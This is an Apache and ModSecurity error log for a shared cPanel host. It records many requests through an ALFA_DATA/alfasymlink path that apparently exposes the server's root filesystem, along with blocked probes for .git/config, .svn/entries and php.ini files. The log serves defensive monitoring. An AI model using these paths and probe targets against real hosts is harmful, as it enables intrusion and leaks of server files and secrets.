[Tue Oct 27 04:41:19.283322 2026] [security2:error] [pid 3175284:tid 3175284] [client 185.191.171.6:63044] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/squirrel/upgrade.php"] [unique_id "auBjr0QFomyjz0g-y4eORwAAAAo"]
[Tue Oct 27 04:41:30.193048 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 100.29.128.75:19466] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:41:58.183350 2026] [core:error] [pid 3201655:tid 3201655] (13)Permission denied: [client 54.84.161.62:63216] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory17/node0/memory3/subsystem/uevent
[Tue Oct 27 04:42:00.857336 2026] [core:error] [pid 3201646:tid 3201646] (13)Permission denied: [client 85.208.96.205:34498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dio/min_partial
[Tue Oct 27 04:42:07.025753 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 34.239.197.197:8275] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:42:18.154034 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 34.224.9.144:13657] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/module/drm/parameters/edid_fixup
[Tue Oct 27 04:42:26.306455 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 3.216.13.10:6229] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:42:34.288689 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.147.238.89:41255] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:42:38.160672 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 34.206.249.188:62338] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:43:07.426829 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.231.156.59:50856] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:43:10.159473 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 98.83.72.38:63039] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:43:22.169706 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.195.50.71:10014] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:43:34.322131 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 54.235.125.129:37681] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:43:38.172476 2026] [security2:error] [pid 3201646:tid 3201646] [client 44.215.61.66:3854] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory10/node0/memory6/power/"] [unique_id "auBkOhEnDOWBtFG5jRP6kQAAAAw"]
[Tue Oct 27 04:43:38.172525 2026] [security2:error] [pid 3201646:tid 3201646] [client 44.215.61.66:3854] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory10/node0/memory6/power/"] [unique_id "auBkOhEnDOWBtFG5jRP6kQAAAAw"]
[Tue Oct 27 04:43:51.766833 2026] [security2:error] [pid 3175284:tid 3175284] [client 43.159.34.167:43408] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase2.php"] [unique_id "auBkR0QFomyjz0g-y4eOTAAAAAo"]
[Tue Oct 27 04:44:02.169036 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 44.210.213.220:63346] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:44:34.375291 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 54.157.99.244:39475] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:44:46.508949 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.215.210.112:10895] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:44:50.333555 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 3.221.156.96:9211] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:44:54.268549 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 54.85.109.140:38831] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:44:55.773361 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 185.191.171.13:16658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/object_size
[Tue Oct 27 04:45:06.458934 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.214.176.44:44445] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:45:14.478342 2026] [core:error] [pid 3201653:tid 3201653] (13)Permission denied: [client 85.208.96.205:38876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/objs_per_slab
[Tue Oct 27 04:45:18.406370 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 34.225.138.57:61471] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:45:22.381987 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 18.213.70.100:22472] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:45:26.461331 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 44.210.204.255:25006] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:45:42.346049 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 44.212.145.46:20259] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:45:50.415774 2026] [core:error] [pid 3201648:tid 3201648] (13)Permission denied: [client 3.214.176.44:2315] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/resource4_wc
[Tue Oct 27 04:45:54.523961 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 100.29.34.97:33770] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:46:10.903032 2026] [core:error] [pid 3201653:tid 3201653] (13)Permission denied: [client 185.191.171.6:24888] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/slabs_cpu_partial
[Tue Oct 27 04:46:14.448637 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 54.225.81.20:35207] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:46:18.443371 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 34.225.243.131:59394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/8/module/uevent
[Tue Oct 27 04:46:22.598472 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 44.212.232.231:7786] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:46:30.515854 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.152.163.42:12449] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:46:42.436836 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 98.82.39.241:57711] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:46:50.834997 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 23.21.228.180:41664] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:46:54.750805 2026] [security2:error] [pid 3201648:tid 3201648] [client 35.171.117.160:42231] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/cirrus/0000:00:02.0/drm/"] [unique_id "auBk_iRZUkZtsPsHe3i2HQAAAA4"]
[Tue Oct 27 04:46:54.750866 2026] [security2:error] [pid 3201648:tid 3201648] [client 35.171.117.160:42231] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/cirrus/0000:00:02.0/drm/"] [unique_id "auBk_iRZUkZtsPsHe3i2HQAAAA4"]
[Tue Oct 27 04:47:00.781442 2026] [core:error] [pid 3201645:tid 3201645] (13)Permission denied: [client 85.208.96.201:47040] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/sb_edac/sections/__param
[Tue Oct 27 04:47:02.815596 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.73.6.26:55291] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:47:10.499752 2026] [core:crit] [pid 3201655:tid 3201655] (13)Permission denied: [client 3.94.156.104:60008] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2488925/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2488925/fd/' is executable
[Tue Oct 27 04:47:10.499809 2026] [core:crit] [pid 3201655:tid 3201655] (13)Permission denied: [client 3.94.156.104:60008] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2488925/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2488925/map_files/' is executable
[Tue Oct 27 04:47:10.499825 2026] [core:crit] [pid 3201655:tid 3201655] (13)Permission denied: [client 3.94.156.104:60008] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2488925/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2488925/fdinfo/' is executable
[Tue Oct 27 04:47:14.710637 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 34.194.226.74:53671] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:47:34.506884 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 44.194.134.53:53746] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:47:46.549840 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 44.218.170.184:50171] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:47:50.630446 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 34.227.156.153:37752] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:47:54.626356 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 44.218.6.93:43721] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:03.0/virtio0/driver/module/sections/__mcount_loc
[Tue Oct 27 04:48:06.951062 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 100.28.49.152:47500] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:48:10.745007 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 34.204.150.196:34219] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:48:18.829079 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 34.197.28.78:40182] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:48:23.026632 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.5.232.250:32241] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:48:30.024087 2026] [security2:error] [pid 3201641:tid 3201641] [client 45.138.12.16:45322] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.svn/entries"] [unique_id "auBlXh6MTIKaGGLTiEIYbgAAAAc"]
[Tue Oct 27 04:48:30.024340 2026] [security2:error] [pid 3201641:tid 3201641] [client 45.138.12.16:45322] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.svn/entries"] [unique_id "auBlXh6MTIKaGGLTiEIYbgAAAAc"]
[Tue Oct 27 04:48:30.025253 2026] [security2:error] [pid 3201641:tid 3201641] [client 45.138.12.16:45322] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBlXh6MTIKaGGLTiEIYbgAAAAc"]
[Tue Oct 27 04:48:31.283875 2026] [core:error] [pid 3201645:tid 3201645] (13)Permission denied: [client 3.211.181.86:20812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/driver/serial8250/tty/ttyS3/port
[Tue Oct 27 04:48:50.785513 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 3.224.104.67:61442] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:48:52.832899 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 185.191.171.1:28556] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:48:55.068686 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 52.207.47.227:35109] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:49:06.850537 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 54.164.106.236:27409] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:49:14.886845 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 54.84.250.51:26021] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:49:18.906689 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.197.76.210:1387] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:49:31.966478 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 85.208.96.204:43480] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:49:31.998871 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 85.208.96.204:43482] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:49:34.850119 2026] [ssl:error] [pid 3201645:tid 3201645] (5)Input/output error: [client 98.82.38.120:44333] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:49:47.299849 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 3.215.59.93:17409] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:49:50.857272 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 3.221.244.28:23347] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:50:11.085858 2026] [core:error] [pid 3201646:tid 3201646] (13)Permission denied: [client 50.19.102.70:59939] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/memory4/subsystem/uevent
[Tue Oct 27 04:50:15.069513 2026] [security2:error] [pid 3201648:tid 3201648] [client 45.138.12.16:62436] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "auBlxyRZUkZtsPsHe3i2JQAAAA4"]
[Tue Oct 27 04:50:15.069754 2026] [security2:error] [pid 3201648:tid 3201648] [client 45.138.12.16:62436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "auBlxyRZUkZtsPsHe3i2JQAAAA4"]
[Tue Oct 27 04:50:15.070704 2026] [security2:error] [pid 3201648:tid 3201648] [client 45.138.12.16:62436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBlxyRZUkZtsPsHe3i2JQAAAA4"]
[Tue Oct 27 04:50:27.108588 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 18.214.238.178:20046] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:50:31.403938 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 54.166.104.83:56840] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:50:35.072222 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 52.3.102.51:37848] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:50:39.009922 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.4.229.9:26092] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:50:47.249373 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 107.20.25.33:63604] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0F13:00/physical_node/subsystem/drivers/system/unbind
[Tue Oct 27 04:50:55.201216 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 52.4.229.9:40805] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:50:59.208381 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 18.232.36.1:39483] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:51:04.785651 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 185.191.171.4:60504] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:51:07.113311 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 52.44.148.203:53697] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:51:11.139712 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 52.54.95.127:20295] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:51:16.265955 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.235.191.179:59762] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:51:23.386967 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 50.17.193.48:51008] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:51:28.014647 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 3.229.2.217:52920] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:51:31.359484 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 3.223.181.32:53071] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:51:33.943702 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 185.191.171.13:38896] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:51:40.082841 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 100.25.120.246:27069] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:51:43.494535 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 52.203.152.231:24439] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:51:45.749884 2026] [core:error] [pid 3201645:tid 3201645] (13)Permission denied: [client 85.208.96.208:61954] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/inet_diag/sections/__bug_table
[Tue Oct 27 04:51:47.441424 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.205.141.124:59031] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:51:51.561649 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.212.131.50:29855] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:51:55.640350 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 34.204.150.196:30828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS2/flags
[Tue Oct 27 04:52:07.534263 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 3.222.190.107:32521] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:52:15.676775 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 52.6.232.201:52593] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:52:21.121924 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 18.232.11.247:53317] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/event0/subsystem/event3/device/device/driver/serio1/drvctl
[Tue Oct 27 04:52:27.594827 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 3.232.39.98:9195] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:52:56.055874 2026] [ssl:error] [pid 3201655:tid 3201655] (5)Input/output error: [client 3.214.176.44:60721] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:52:59.689827 2026] [core:error] [pid 3201648:tid 3201648] (13)Permission denied: [client 3.216.86.144:61425] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:05.0/driver/bind
[Tue Oct 27 04:53:11.903065 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.213.106.226:30292] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:53:19.883246 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 34.233.219.155:46887] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:53:23.969157 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.147.182.90:22015] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:53:28.673741 2026] [security2:error] [pid 3201641:tid 3201641] [client 43.157.181.189:35898] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas1.com/"] [unique_id "auBmiB6MTIKaGGLTiEIYegAAAAc"]
[Tue Oct 27 04:53:28.675388 2026] [authz_core:error] [pid 3201641:tid 3201641] [client 43.157.181.189:35898] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 04:53:31.423265 2026] [authz_core:error] [pid 3175284:tid 3175284] [client 164.92.211.98:48868] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 04:53:31.880437 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 18.235.158.19:54908] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:53:35.789080 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 52.4.238.8:25735] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:53:51.879588 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 44.209.89.189:29989] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:54:07.953299 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 52.205.222.214:61030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0A03:00/device:1f/eject
[Tue Oct 27 04:54:16.023101 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 98.83.226.125:21743] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:54:19.701440 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 52.205.222.214:56255] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:54:23.709432 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 52.70.138.176:18395] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:54:27.705822 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 35.171.117.160:54117] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:54:30.500026 2026] [authz_core:error] [pid 3201648:tid 3201648] [client 91.148.245.81:48980] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
